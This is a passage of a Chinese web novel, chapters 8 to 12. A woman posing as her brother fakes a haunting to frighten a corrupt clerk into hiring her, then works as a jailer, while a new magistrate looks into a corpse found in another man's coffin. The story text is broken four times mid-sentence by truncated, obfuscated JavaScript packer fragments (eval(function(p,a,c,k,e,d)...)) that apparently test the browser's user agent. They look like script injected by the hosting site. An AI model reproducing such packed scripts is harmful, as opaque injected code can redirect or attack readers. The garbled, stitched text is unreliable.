她不想放弃,想着这人总会下值回家的,于是便守在这里,一步都不敢离开。 幸好照顾丁秀兰的事被邢书同接了过去,不然,她可没法在这儿耗。 一直等到月上半天,县衙后门终于吱呀一声开了,邢姝砚揉揉眼睛,赶紧打起精神来,谁知从里面出来的并不是李盛丰,而是个差役。 差役来到县丞家门前敲响了门,这一次,门顺利被敲开,一个看不清容貌的人从里面探出头来,差役道:“县丞大人晚上不回来,让小的把换洗衣裳带过去。” 里面那人道了声“稍等”便又进去了。 邢姝砚知道自己做了一场无用功,用力揉了揉双腿,等差役离开后才从藏身的地方出来。 眼看着新县令就快到了,县令到之前一定会把缺的人都给补上,留给她的时间不多了。 书吏不比普通差役,能决定任用他们的人不多,都在这一片,除了县丞家,还有主簿家和典史家。 主簿主管全县户籍和文书办理,典史掌管治安缉捕、稽查狱囚。 这两个按说是前者更为对口,可不管是主簿还是典史,大门都守的牢牢的,别说人了,一只苍蝇都进不去。 阿豆之前说过这一片都是送礼的,现在这么安静,明显已经是尘埃落定了。 事情有些难办。 邢姝砚怏怏的走出那条街,正想着再去哪里想想办法,就被人狠狠撞了一下。 撞人的不光不道歉,还反过来骂邢姝砚,“作死的东西,长不长眼哪?耽误了典吏大人的事你担得起吗?” 后面一个戴着帷帽的女子出声呵斥,“啰嗦什么,还不快走!” “是是是。”撞人的哈身道歉:“是小的不对,还请仙姑勿怪!勿怪!” 两人连一个多余的眼神都不再给邢姝砚,越过她直向前去,擦身而过的一瞬间,邢姝砚又听到了一个细细的声音: 【仙姑又要骗人了,怎么才能让她不骗人呢?什么撞鬼了,世间没有鬼啊啊啊!】 撞鬼?典吏? 邢姝砚眼睛忽的睁大。 8. 第 8 章 西和巷,李敬宅。 李敬是户房典吏,知县徐有德的人手撤走后,户房直接空出两个缺来,为了这两个缺,各方的人差点人脑子打出狗脑子来。 李敬也机敏,把一个缺却死死的捂在自己手里,另一个直接孝敬了上官,至于是县丞得到还是主簿得到都不关他的事。 他是户房的头儿,手里握着鱼鳞图册和钱粮地清册,又有征收税银的权力,是以也没人想得罪他,只把银钱和女人往他这里送。 这一阵子,李敬真的是美上天,不光攒了一笔银子,还得了两个美妾,虽说把夫人气回了娘家,但有两个美妾相陪,也并不寂寞。 许是夜夜笙歌,精力有些不济,这一日,青天白日的竟撞见了鬼。 李敬被吓破了胆,连衙门都没去,硬是挨到晚上才使人去请了有名的仙姑为自己驱鬼。 谁知那么巧,偏被邢姝砚给碰上了。 水边多柳,邢姝砚凭借上辈子学来的技能,成功的爬上了一棵茂盛的大柳树,把李宅的事看了一个清二楚。 一边看一边乐,兴奋的想拍大腿,之前还为难的事十有八九要落在这李敬身上了。 回到家,丁秀兰已经睡下了,邢书同守着油灯,见她回来,把锅里的粥又热了一遍。 见她吃的狼吞虎咽,开口问:“怎么这么迟?再晚点都要宵禁了。” 邢姝砚把最后一点粥水咽下去,擦了擦嘴,“哥,我要你帮我做点东西。” 邢书同虽是男子,却更坐得住,除了读书习字,还学过几天画,颇有天赋,只是到底不是科举正道,没坚持下去。 见邢姝砚把自己小时候学画那些零零碎碎搬了出来,邢书同脸红了红,“怎么就想起这个了,我很多年没动过手,都生疏了。” 邢姝砚拍拍手上的灰,“总比我好,我想作画还得先找一张脸。” 想到她妆容上的绝技,邢书同噗嗤一声笑了出来,连连摇头,去盛了水,把干了的颜料都润开,问:“究竟要画什么,说吧。” 邢姝砚拿出自己藏在门口的小包袱,解开,里面是一卷纱,烟绿色,极轻,极薄,是邢归鸿还活着的时候置办的,丁秀兰爱的不行,一直没舍得用。 邢书同看见,舌头都打结了,“你……你拿这个做……做什么?娘会疯了的。” “不会!”邢姝砚打断他的臆想,“娘都舍不得用,怎么会知道已经用了?” 说的倒是很是有道理,邢书同竟无话反驳。 邢姝砚见书桌上有砚台,拿墨条搅了搅,觉得墨汁有点少,于是呼的倒了一大碗水进去,吓的邢书同拿两只手去拢。 “你这是做什么?都忘了怎么研墨了吗?” 邢姝砚拿毛笔蘸了墨在废纸上试了试,觉得颜色浅了,又拿起墨条来磨。 “没忘,这不是拿来写字的,我要用来染色。” “染……染色?拿它?”邢书同指着一边的烟绿色轻纱,整个人都快说不出话来。 邢姝砚点头,“对,得把它染成黑色,再在上面作画。” 见他一头的雾水,这才想起自己忽略了什么,懊恼的拍了下脑门,把自己的打算说给他听。 听完妹妹全盘计划的邢书同倒不像之前那么一惊一乍的了,“说起来像是可行,只是到底行不行,尚未可知啊!” “管不了那么多了,不去试试,永远不知道行不行。” 邢姝砚一边说着一边把墨条递给了邢书同,示意他继续,自己则去厨房拿了和面的盆过来。 盆里倒了调好的墨汁,拿起那卷要染色的纱,就要往里放,沾水的一刹那,邢姝砚又猛的收回了手。 邢书同以为她改主意了,却听她又道:“不对,泡完后不都是墨味,一拿出去不就露馅了?” 邢书同:“也不绝对,这墨淡,味道没那么浓,完了可以拿檀香熏一下,能遮盖住大部分,用的时候再找一个下风口,应该没问题。” “还是你聪明!”邢姝砚用力拍了邢书同肩膀一下,夸赞道。 等染完布,两人又回到厨房,就着未完全熄灭的余火把纱细细烘干熨平,再然后,被夸聪明的邢书同就接手了余下来的所有活计。 邢姝砚只负责回房睡觉。 万事俱备,只欠东风。 这事,光邢姝砚一个人做不成,得有一个可靠的帮手,思来想去,最后只扒拉出一个人来……常三。 按理说,常三只是年少时的小玩伴,后面也交集不多,可不知为什么,在邢姝砚的潜在意识里,他就是可靠的人。 她略去了关键事件没提,只请他帮忙一起去吓唬李敬。 这事儿,常三爱做啊! 他刚按照之前邢姝砚给他出的点子把手下一点点安置好,最近正闲的紧呢! 李敬那天请仙姑过来驱鬼,直闹了大半个晚上。 仙姑说这是家里阴气太重,引来了不好的东西,话里话外暗指他新得的两个美妾。 李敬胆子小,虽不甘心,到底冷了两个人。 常三那边已经摸清了李敬下值后回家的路线,他一般是从县衙出来后,经前街绕行到西和巷,不过今天特殊,有人请他在吉祥酒楼吃酒。 吉祥酒楼在花行街附近,从这里回他家再走前街就不方便了,最合适的路线是从琴合西街再往西,经过一个小湖,然后转回到西和巷。 清水县不缺水,光县城里面就有大大小小十数个湖,大湖套着小湖,小湖靠着大湖,并不稀奇。 是以小湖边也没有多少景致,稀稀拉拉的长了许多杂树,人都不爱往这里来。 邢姝砚选中的地点就在这里。 一切都布置妥当,只待鱼儿上钩。 吉祥酒楼二楼雅间内,李敬独坐主位,左右两个花容月貌的娇娘子体贴的斟酒布菜,下首两个男子殷勤相陪。 几人已经喝了不少,酒酣耳热起来。 男子中年纪稍长那个见气氛差不多了,挥手叫两个女子下去,见屋里再无其他人,才道:“之前说的那事还得仰仗大人,等事情成了,我这里还有一笔谢礼奉上。” 李敬眯着眼睛看向对面那个年纪稍轻些的男子,打了个酒嗝,“他说的就是你吧?叫什么来着?” 男子赶紧拱手,道:“学生方闵。” “方闵?对,就是方闵,这事我做主,就是你了。呃……后天一早,县衙里报道,等过了通考,就到我手下做事,好好干,我……看好你。” 两个男子听了这话,大喜过望,再三向李敬拜谢。 李敬选方闵并不是瞎选的,首先,他有才干却不是太有才干,这样就不会威胁到自己的地位。其次,方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你别过来,你别过来!” “我不服!我不服!”一个飘忽如同鬼魅的声音响起,“凭什么?凭什么?我不服!” 李敬:“你要什么,你想要什么,我都烧给你好不好?金山银山,娇童美婢,我都烧给你,你别找我好不好?” 那声音呵呵冷笑,“我一个死了的人,要那些东西有何用?” “那你要什么……你想要什么啊?” “我只要我的血脉能够延续永存,我要我儿孙满堂,血脉永在!这些你都做不到!你做不到!我要找能做到的人去,至于你,嘻嘻……既然碰上了,不如就认了吧!你来跟我做个伴,地底下也不寂寞是不是?” 做伴什么的,一听就不是什么好事啊! 李敬吓疯了,只一个劲的磕头求饶。 那声音被他嚷的不耐烦,威胁道:“那就看你能做到什么程度了?你要是让我满意我就饶你一次,要是让我不满意,桀桀……我就把你活吃了!” 随着最后一句话落下,李敬只觉得脖颈处一阵冷风吹过,鼻子里闻到血腥气息,再也支撑不住,白眼一翻就躺了下去。 9. 第 9 章 李敬和车夫两个一卧一趴,远远看去,像两具死的安静的尸体。 邢姝砚分别扔了个小石子在两人身上,都没有动静,这才从藏身处走了出来。 常三咧着嘴,露出一口大白牙,夸张的竖了两个拇指给她。 今天晚上这一遭,实在是过的有意思啊!不过这两人也太没用了,这么快就吓晕了,好有好些手段没使出来呢,真是可惜! 他们两个围着倒地的人转了两圈,又探了探,知道没什么大碍,这才有条不紊的拆除周边的布置,收拾现场,把一切都恢复成原样。 然后,溜之大吉! 这天晚上,邢姝砚睡的非常好,连个梦都没做,第二天早上起来后神清气爽。 李敬家里就不一样了,夫人不在家,没有做主的人,只能一窝蜂似的乱转,最后还是小湖边的车夫先醒过来,把昏迷不醒的李敬搬上马车,弄回家去。 接着又是请大夫,又是煎汤药,折腾到快三更,人终于醒了。 醒了之后的李敬开始胡言乱语,一会儿说是见鬼了,一会儿又嚷嚷着鬼别吃他。 众人一看不行,这么下去不是个办法,连夜去了一趟夫人娘家把人接了回来,为此,差点还和巡街的兵卒闹起来。 好在几近天明时李敬终于安静下来,慢慢的睡了过去。 眼看着是不能上值了,他夫人遣人去衙门告了假,只说是受了寒发起了烧,其他的一概不提。 再说邢家这边,邢姝砚虽和邢书同调换了身份,一时半会却不能扮的天衣无缝。 邢姝砚还好点,有前世的加持,不细看就看不出来。 邢书同就不一样了,扮上女装后哪哪儿都别扭,走路步子太大,动作太大开大合,一点都没有女子的婉约。 邢姝砚没办法,只好押着他学习,学习女子的妆容、姿态、动作和言语。 邢书同好几次想反抗,都被妹妹凶巴巴的眼神镇压下去。 就这么挨到了午后,休息好了的邢姝砚还想继续,就听大门被人拍响,她飞快的反应过来,把学成四不像的亲哥哥一把推进西厢房。 “就在这儿待一会儿,要是有人来了,就装病,知道吗?” 眼见邢书同点头答应,她这才整了整衣服,大步往门口走去,走到一半,想起来自己现在的人设,忙又放慢了步子,一摇三晃的去了门口。 拉开大门,首先映入眼帘的就是昨晚会过面的李家马车,只是车夫换了。 终于来了,她心道。 面上不动声色,只作茫然状,“请问……你们是?” 敲门的人满脸堆着笑,“是邢归鸿邢书吏的家吧?我叔叔是你家旧识,特意过来看望,不知道方不方便?” 方便,当然方便。 要不被看一看,昨晚那些话不就白准备了吗? 邢姝砚假装沉吟了一下,慢慢的退开两步,“既然是家父旧识,就请进来吧。” 敲门的人是李敬的侄子李蔼,他听了,赶紧跑去马车边把李敬扶下来。 下来的除了李敬,还有李敬的夫人,邢姝砚心里咯噔一声,这可是在意料之外。 这也就是她被前世的经历混淆了记忆,要知道,现在他们一家孤儿寡母,哥哥还撑不起门楣,这种情况下,家里是不适合迎接男客的,是以才有李敬夫人陪来这一遭。 事到如今,没有别的办法,只能硬着头皮往下走了,只希望一切顺利才好。 车夫看着马车,只李敬几人进得门来,见院子里确实空落落的,李敬夫人便朝李敬点了点头。 李家送上表礼,邢姝砚接过,站在院子中间,踌躇道:“本该迎几位去正房的,只是家母卧病,不太方便。” 邢家虽是小四合院,现下却有三个病人,各据一方,确实不好安排。 李敬夫人笑道:“这有什么,我们是来探望的,自然要看主人家方便与否。不过,既然都来了,不知道是不是方便探望一下令慈,毕竟,我同她已神交许久了。” 邢姝砚笑了一下,“当然可以,您请。” 说完,便在前头带路。 丁秀兰已经略略能动了,只是不能劳累,还是以卧床为主,听到有人进来,挣扎着要起身。 李敬夫人一进去,就快步上前两步,伸出手去握住丁秀兰的手,“好姐姐,可算是见着了。” 丁秀兰两眼迷茫,这人谁啊? 李敬夫人介绍自己,“我夫家姓李,娘家姓谢,闺名繁敏,姐姐叫我繁敏也行,叫我李家的也行。” 这话就有些说笑的意思在内了,也拉近了和丁秀兰的距离。 邢姝砚在一旁补充:“这是父亲的同僚李敬李典吏的家眷,特意来家里探望的。” 她说完便在一边候着,一是不好把人撇在那里不管,二是准备随时来堵丁秀兰的嘴。 她扮男装可以骗过别人,但骗不了生养自己的亲娘,丁秀兰可是往她这边瞄了好几眼了。 她在里面提心吊胆,院子里的两个人就轻松多了。 李敬没有多少精神,李蔼却没有顾虑,东边瞅瞅西边看看,把个不大的院子里里外外看了个遍,就连东厢房也没有放过。 只是邢书同常年吃药,房间里早就浸满了药味,一闻之下,刺鼻的厉害。 伸手在鼻子跟前挥了挥,对李敬说了三个字:“药罐子。” 他们知道邢家一儿一女,见西厢房的门关着,便没有上前。 李敬早在来邢家之前就对邢家的事做了一番打探,只是犹不放心,亲自过来确认。 没等多少时间,谢氏从正房里出来,眼圈有些发红,看到身边跟着的邢姝砚时又哽咽了一下,拍拍她的手臂,“好孩子,照顾好你母亲和你妹妹。” 然后对李敬道:“我们走吧。” 看着几人上车离开,邢姝砚呯的关上大门,拍拍胸口,长出一口气,好悬好悬! 刚才丁秀兰差点就顺嘴叫出了她的名字,幸好邢姝砚反应快。 李家马车里,李敬懒懒的靠着车壁,“怎么样?” “什么怎么样?”谢氏扔掉染了姜汁的帕子,“就那样呗,一家子病的病弱的弱,有今天没明天的。” 说完,又瞪了李敬一眼,“你让我做的事我可是做到了,别忘了把那两个小狐狸精送走,不然,可没有下次了。” 李敬赶紧堆起笑来,“是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听到消息过来的邢书同站在正房门口,一双脚怎么都抬不起来,仿佛有千金重。 踌躇了好半晌,终于进得门去,再进到里间,就见丁秀兰下了床,正坐在旁边的椅子上,邢姝砚乖乖的跪在她旁边。 丁秀兰生了一儿一女,儿子知书识礼,女儿聪慧懂事,她没少为此欣慰。 如今旦夕间,女儿成了儿子,儿子成了女儿。 看着门口一身女孩儿打扮的儿子,她眼圈更红,“你过来。” 邢书同过去,丁秀兰的手慢慢的抚上他的脸颊,一寸一寸的摸,一寸一寸的看。 邢姝砚颤抖着声音道:“娘,主意是我出的,跟哥哥没关系,我还威胁他和我互换身份,你别怪他!” 不怪邢姝砚担忧,她前世可没少看这样的电视剧,多数时候都是当娘的一巴掌朝儿子打去,然后勒令他不准吃不准喝,还要跪祠堂。 邢书同身子那么弱,怎么受得住? 10. 第 10 章 丁秀兰没有破防,她只是很疼很疼。 她不傻,她知道一切的根由在哪儿。 她没有迁怒于两个孩子,只是重重的一把将他们搂进怀里,搂的很紧很紧。 三人为彼此搭建了一个小小的避风港湾,这里,是他们共同坚守的家。 丁秀兰虽没有女儿那样多出一世的记忆,却比她更懂得这个时代,有她指点两个孩子,邢姝砚和邢书同对各自扮演的角色把握的更加准确和细腻。 除了扮相,声音上丁秀兰也帮着做了许多调整。 邢姝砚再走出去,活脱脱就是一个少年人。 当然,这是后话,在此之前,邢家先收到了一个消息。 送信来的是李蔼,他告诉“邢书同”,要他明日一早去县衙报道。 次日一早,邢姝砚早早妆扮起来,给丁秀兰检查过,这才出了门。 去了县衙,顺利点了名,下午又参加了通考,通考过后不多时便得到消息,她顺利被录用了。 录用后便正式成了一名书吏,同父亲一样。 一想到这里,邢姝砚身体里便热血澎湃,有一股说不出的力气。 书吏虽没有俸禄,却有纸笔费、抄写费和饭食费,虽然微薄,却也能养家,倒是比现在这样东一榔头西一棒子的强的多。 回到家,丁秀兰和邢书同听到消息后同样高兴,兴冲冲的去买了一块豆腐要包饺子。 包饺子要精面,邢姝砚自然舍不得,可丁秀兰说这是喜事,必须要庆贺,邢姝砚拗不过她,只好同意。 按规定,书吏须戴四方巾,穿浅色盘领衣,脚上穿方布鞋,这些都由衙门供给,是以第二天一早,邢姝砚便去县衙领衣服。 差役笑眯眯的听完邢姝砚的诉求,扯下腰间的钥匙打开了小库房的门,在里面翻了半天,找出来一套或者说一堆衣裳。 那是一套耐磨粗麻制成的铁衣,里面是灰色粗布短褂,外面是橘色配宽黑边比甲,上面的霉味离八丈远都闻得到。 见邢姝砚站在那里不动弹,差役脚尖朝衣裳踢了踢,“怎么不动,拿呀!” 邢姝砚皱着眉,“差大哥,我是书吏,要找的是书吏的衣裳,不是这套。” 差役朝天翻了个白眼,“你是叫邢书同?” 邢姝砚点头,“是我。” 差役转身把库房锁上,一边锁一边道:“那就错不了了,就是你的。” 见邢姝砚还是不动,又道:“你要是不愿意呢,早点走人,你不想做,有的是人挤破了头想进来。狱卒怎么了?看不起?” 邢姝砚心里又羞又气,她什么时候看不起狱卒了?不过是落差太大罢了。 就像明明收到了一流大学的通知书,报道的时候却被调剂到三流,任谁都有些扛不住。 她压抑着内心奔涌的情绪,将那套乱糟糟的衣服捡了起来,强堆着笑问对方,“差大哥,我家伯父李敬是户房的典吏,我想去看看他,不知道该怎么走?” 差役似笑非笑的看了她一眼,抬起下巴朝一个方向指了指,“进了仪门,西边兵刑工,东边吏户礼,自己找去。” 邢姝砚谢过他,抱着衣裳往外走,并不见后边差役的讥笑之色更浓。 “李敬?嘿,要不是李敬过来打招呼,我还挑不出那么一套好衣裳呢!” 邢姝砚刚进仪门,还没找到户房就被人轰了出来。 “去去去,你谁呀?这里也是你该来的地方?” 邢姝砚急忙问好,又道:“我叫邢书同,今天第一天来户房上值。” 小吏见她不像说慌,上下打量了她一眼,“在这里待着,我去问问,别随便乱跑啊!” 邢姝砚赶紧道谢。 小吏去了一趟户房,出来后神色明显不对了,“去去去,户房说了,没你这号人物,该哪儿去哪儿去。” 到现在,邢姝砚还有什么不明白的,她也没气馁,抱着那身霉味冲鼻的衣裳默默离开。 户房里,李敬正给方闵分派任务,说完公事,要离开时,方闵默默的递上了一张帖子,“家父为了庆贺学生找着了事做,特意备了些薄酒,还请大人务必赏光。” 李敬没接帖子,打了个哈哈,“以后,以后,以后有的是机会,这次我就不掺和了。” 说完,背着手离开,想着方家昨晚上送到家里的东西,心情都荡漾了起来。随即,想到被调换了职缺的邢家,荡漾的心又落了下来。 “差役好啊,好歹有俸禄可领,不像书吏,穷巴巴的。” 说是这么说,可狱卒到底不比书吏,李敬哪怕贪财,也没敢把事情做绝,邢书同的名额还挂在房户,到底没敢把人落到贱籍里去。 毕竟,有那么一个厉害老子,实在惹不起。 县衙大门到仪门中间有一条甬道,甬道东边是寅宾馆、衙神庙、土地祠和皂班、壮班、捕班三班差役公事所在地;甬道西边是膳馆和监狱,监狱又分外监、女牢、死牢。 邢姝砚穿着一身霉味的衣裳,跟着老狱卒去狱神庙拜过,这才来到外监。 老狱卒把人领到值房里,“我姓张,人都我叫‘老张头’,你这么叫就行。从今天起,你就跟着我。” 邢姝砚恭恭敬敬的站直了,“张叔。” 老张头摆摆手,又指着旁边的凳子道:“坐,坐。” 等人坐下后,他又道:“咱这儿没那么多规矩,把差当好,别给大家惹麻烦就成。” 说着,他也坐了下来,从随身带着的荷包里抠出指甲盖大小的一点烟叶子塞进嘴里,慢慢嚼了起来。 他眯着眼睛细嚼,余光却一直留意着邢姝砚的动静,见她确实坐得住,才又开口提点:“咱们这儿虽然脏了些累了些,还不起眼,却有一桩好处,风吹不着日晒不着,不费鞋底儿。” 这话说的倒是在理儿,比起其他三班差役来说,狱卒最不费腿。 看看时辰差不多,老张头从墙上摘下一串钥匙来,“走喽,换班去喽。” 南北朝以后,“?挖地为狱?”成为定制,地牢正式用于关押平民、重刑犯乃至死刑犯。? 地牢里面阴暗、密闭、潮湿,气味极为难闻,哪怕邢姝砚早有心里准备,也差点被熏了个跟头。? 同老张头换班的人见了哈哈大笑,“新来的吧?跟着老张头多学,这可是咱们这里的定海神针!” 老张头嘿了一声,“什么针不针的?都一把老骨头了。” 说完,在那人递过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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邢姝砚跟着老张头走出一段路去,对方突然折身返了回来,把手里的铁尺递给她,“把这个挂在腰间,你脸嫩,一看就好欺负,拿着这个他们也怕你三分。” 铁尺又名“笔架叉”,其形如尺,上粗下细,两侧有的有向上旁枝,有的没有,它易于携带,可藏于小臂下侧,也可暗藏于腰间,遇到突发情况时可以护身。 狱卒的铁尺同普通的不一样,有铁链拴于其上,另一端系在腰间,防的就是看守犯人的时候不小心丢失。 老张头这个一看就不知道用了多少年了,都盘出包浆来了。 邢姝砚并不敢接,老张头横了她一眼,“怎么,嫌旧?这可是张家祖上一代代传下来的,精贵着呢。” 邢姝砚一听是人家传旧物,更不敢接,老张头用力哼了一声,强硬的把铁尺塞到她手里,“老张家一口唾沫一个钉,断没有收回来的道理,给你,你就拿着。” 说完,背着手溜溜达达走远。 邢姝砚捧着铁尺直发愣,然后就叫一个细细的声音道:【你收下吧,老张头没有儿子,只有两个女儿,都嫁人了,生的孩子也都不姓张,传不下去喽!】 11. 第 11 章 铁尺是衙门配给狱卒的,老张头这个却不是,乍看之下很像,细瞧却一点都不一样,不管是形制,还是花纹光泽。 更何况,它还会说话。 【怎么样,看够了吗?还要摸到什么时候,老张头都没有这样摸过我。】 邢姝砚手一抖,一下子没拿稳,铁尺当的一声掉在桌子上。 它哎呦一声,【我的老腰呦,我的老腰要断了。】 邢姝砚嘴角抽了抽,只当没听见。 铁尺哎呦了两声,见她不搭理自己了,没话找话的道:【你家里好寒酸呀,比老张头家还要穷哩!】 邢姝砚:“……” 【说起来,你都迎我进家门了,还没给聘礼哩!】 幸亏它现在躺在桌子上,不然邢姝砚非得砸了自己的脚不可,她错愕的掏掏耳朵,“……你说什么?” 铁尺扭捏了一下,【不是你想的那样,你这人看着正经,怎么竟往歪处想?我可不想嫁给一个假男人,我还是个黄花铁尺哩!我说的是聘礼,不是成亲!人家聘猫还要给个小鱼干哩,你悄不吭声就把我带回来了,多不讲究!】 不讲究的假男人嘴角抽搐的更加厉害,左右看看,见桌子上有写废的纸,直接往铁尺上面一盖,不想再听它废话了。 铁尺咋呼两声,抽抽搭搭哭了起来,【我只是想要个聘礼,我做错什么了?你往我脸上盖纸,我又不是死了……】 邢姝砚只觉头疼的不行,深悔不该接了它一句话,谁知道它竟是个话痨,一句话后面有一万句顶着。 用力搓了搓脸,站起身来,开门往厨房里去了。 舀了盆凉水把白天身上那套发霉的衣服洗了,用力拧干,就着灶膛里没完全熄灭的余火慢慢的烤着,没留意厨房里进来一个人。 直到那人伸手来接自己手里的衣裳,邢姝砚才猛的回过神来。 “哥……” 手猛的攥紧衣裳,邢书同却比她还要坚决。 父亲原来就是书吏,书吏的衣衫是什么样子,邢书同再熟悉不过,看着手里的粗麻铁衣,心里有密密麻麻的疼,像有一窝蚂蚁在那里细细啃噬。 邢姝砚咽了口唾沫,结结巴巴的解释,“……其实这……这是我自己选的,我就是觉得做书吏没有俸禄,全靠那点抄写费,还不如去当狱卒,风吹不着雨淋不着,有俸禄可领,还有犯人给的好处,这才是我想要的。” “嗯。”邢书同听着她喋喋不休的说个不停,伸手在她头顶上摸了摸,“我妹妹真棒!” “是吧?我也觉得,嘿嘿!” 邢姝砚嘿嘿笑个不停,引得邢书同也笑了起来。 两人没有商量,却默契的没有把这事告诉丁秀兰。 丁秀兰身体还没完全康复,自然也就没有发觉。 邢姝砚很用心的跟在老张头后面学,老张头对她非常满意,也很享受小徒弟的贴心。 如是过了几天,新县令宋琦丁大人终于到了。 迎接新县令自然没邢姝砚什么事,只听小道消息说宋县令只带了两个护卫、一个幕僚先生,另外就是幕僚的家人等杂七杂八的。 这些人明显不会同县里其他人抢饭碗,县衙里的人算是松了口气。 虽早早把位置占住了,但如果县令非要往里塞人的话,他们也没什么办法,少不了要摩擦几下。 现下这种情况真是刚刚好,皆大欢喜。 宋县令上任后的第一件事,就是指导春耕。 此时已入二月,天气暖和了起来,小草都冒出了头。宋琦上任后先把清水县的情况给摸了一遍,土地、人口、赋税、粮种、耕牛,不说尽在掌握,起码熟记于心。 这不是他第一次任地方官,自然知道该从什么地方着手,谁知一件稀奇事,愣是把他打了个措手不及。 出了县城往南二十多里地有个大柳树村,村民多以柳为姓。 大柳树村有个柳长耕,他已死去多年,留下老妻杨氏,和三个儿子柳大牛、柳二牛、柳三牛在一起生活。 前两天清明,柳家三个儿子一起去山上上坟,结果就看见自家老爷子坟上新填了土。 三个儿子只道是谁家顺手做的,也没在意,给亲爹柳长耕和爷奶祖宗上香祭奠完后,拎着篮子回家,还把这事告诉了亲娘杨氏。 杨氏当时没在意,后来却越想越不对,只因柳长耕少时曾与隔壁丁家庄的丁苗议过亲,后来亲事没成,柳长耕娶了杨氏。 丁苗则嫁给了本村外来户,年纪轻轻丈夫就死了,唯一的儿子也没保住。 柳长耕知道此事后唏嘘不已,丁苗背地里也曾同人说过要是当初没悔亲就好了。 这事后来被杨氏知道了,成了她心里的一根刺,时不时就要疼一下。 年轻的时候管着柳长耕不许往丁家庄去,不许和丁苗牵连,可是两个村本就离得不远,哪里是说隔开就隔开的。 也不知丁苗是有意还是无意,时不时往柳长耕身前凑。 杨氏防了情敌半辈子,前一阵子知道丁苗没了,还乐的多吃了两碗饭,谁知一转眼自己老头子坟上就多出来一捧新土。 还不是一捧,她听到消息后特意跑到坟头上看过,那哪里是一捧,分明就是半个坟头都被重修了。 坟不光新了,还大了一圈。 杨氏心里重重的咯噔一下,这姓丁的,不会是钻到自家老头子坟里了吧? 这难道就是戏里唱的,不能生同衾,也要死同穴? 杨氏找人问过山上的事,可谁都不知道那坟是怎么回事。 她也知道自己的猜测没来由,哪怕是那丁苗想这么做,丁家庄的人难道由着她? 可心里终归坐了下病,茶饭不思。 三个儿子急坏了,一再探问,杨氏一不留神就落了口风。 儿子是孝顺的,连夜上山掘开坟墓,结果在自己老爹棺材里发现了一具女尸。 这一下子,事情再也兜不住了。 宋琦这个县令得到消息的时候,大柳树村和丁家庄已经干上了。他立刻点齐人马,带着两个护卫曹光、金全去了城外。 县衙后院,宋琦带来的幕僚陈广生在给一株山茶花浇水,他虽才年过四十,身上却已经有了苍苍之色,穿着一身半新不旧的道袍,不像个幕僚,倒像个隐士。 旁边的藤椅上坐了个十五六岁的少年人,长的虽剑眉英目,脸上却一片漠然。一只两岁大小的狸花猫在他脚边蹭来蹭去,他不耐烦了,直接把脚架在一边的桌子上。 陈广生见了叹气,“景行,你就不能抱抱它吗?” 花狸猫似乎听懂了他的话,仰着头对着陈景行喵喵叫。 陈景行白了猫一眼,不说话。 陈广生无奈的摇头,又道:“也不知丁大人那边如何了,这事一个闹不好,怕是要耽误春耕哪!” 宋琦那边刚出城,就派人快马加鞭往大柳树村和丁家庄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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带队的捕头冯仓见事情不对,咔嚓一声拔出半截腰刀,明晃晃白生生的锋利刀刃刺的人眼睛生疼,激动的众人终于冷静下来。 冯仓这才道:“都安静听大人说话,谁再吵闹,一律带回县衙问罪。” 宋琦赞许的看了一眼冯仓,又问了杨氏来龙去脉,见她所说与自己得到的消息几无疏漏。 “杨氏,你怎么认定柳长耕棺材里多出来的就是丁苗?” 杨氏听了宋琦的话,愣在那里,好半天才结巴着问:“不是她还能是谁?” “就是。”柳三牛用力给宋琦磕了个头,大声道:“大人,我们两个村的人都知道丁苗那啥我爹,不是她那会是谁?这里谁家没有坟头吗?还用钻人家的?” 人群里不知谁噗嗤一声笑了出来,“‘那啥’到底是那啥呀,说清楚嘛!” 旁边的人怕这人连累自己,忙用力捣了她一肘子,没看衙门里的人都看着呢吗,没眼色的。 宋琦开口问:“丁苗的亲戚家人可在?” 丁家庄的人群里稀稀拉拉走出来几个人,往地上一跪,大家都垂着脑袋,其中一个领头的道:“大人,我们是丁苗的亲戚。” “丁苗是什么时候没了的?” 领头的道:“七天前人没了,在家停了三天,然后就埋了。” “坟地在哪里,带本官去看。” 丁苗的坟地离村子有些远,孤零零的一个新坟堆,旁边两座旧坟,比新的矮了好大一截,明显没什么人照看过。 领头的指着新坟道:“这就是丁苗的坟,那两个一个埋了她男人,一个埋了她儿子。” 宋琦绕着丁苗的坟看了一圈,问:“你们埋好后就是这样吗?” 领头的不知县令大人为什么这么问,擦了擦脑门上的汗,“啊?” 12. 第 12 章 大柳树村和丁家庄的事闹的可不小,哪怕邢姝砚日日钻在地底下,也听了好几嘴。 “那丁苗也是个狠人哪,丈夫儿子都不要了,一心奔着情郎去,本来算计的挺好的,谁曾想,一个被窝里还没睡过瘾呢,就被人给揪出来了。” “要我说,这女人就不该娶,听说她儿子坟头的草都能把人埋了也没见她把坟修修,这女人,心狠!” “哎哎哎!”老张头用力敲敲桌子,“活人莫说死者过,咱们吃的是地底下的饭,给自己积点德吧!” 众人被他提醒,纷纷醒悟过来,住了嘴。 邢姝砚虽没听过丁苗这个名字,但她外祖家就是丁家庄的,虽然老丁家前些日子和自己家闹了一场,不相往来,倒底还是好奇,回家后忍不住把事情讲给丁秀兰和邢书同听。 邢书同年轻,好奇心强,忍不住追问:“县令真的只看了一眼就知道坟头不对劲?” 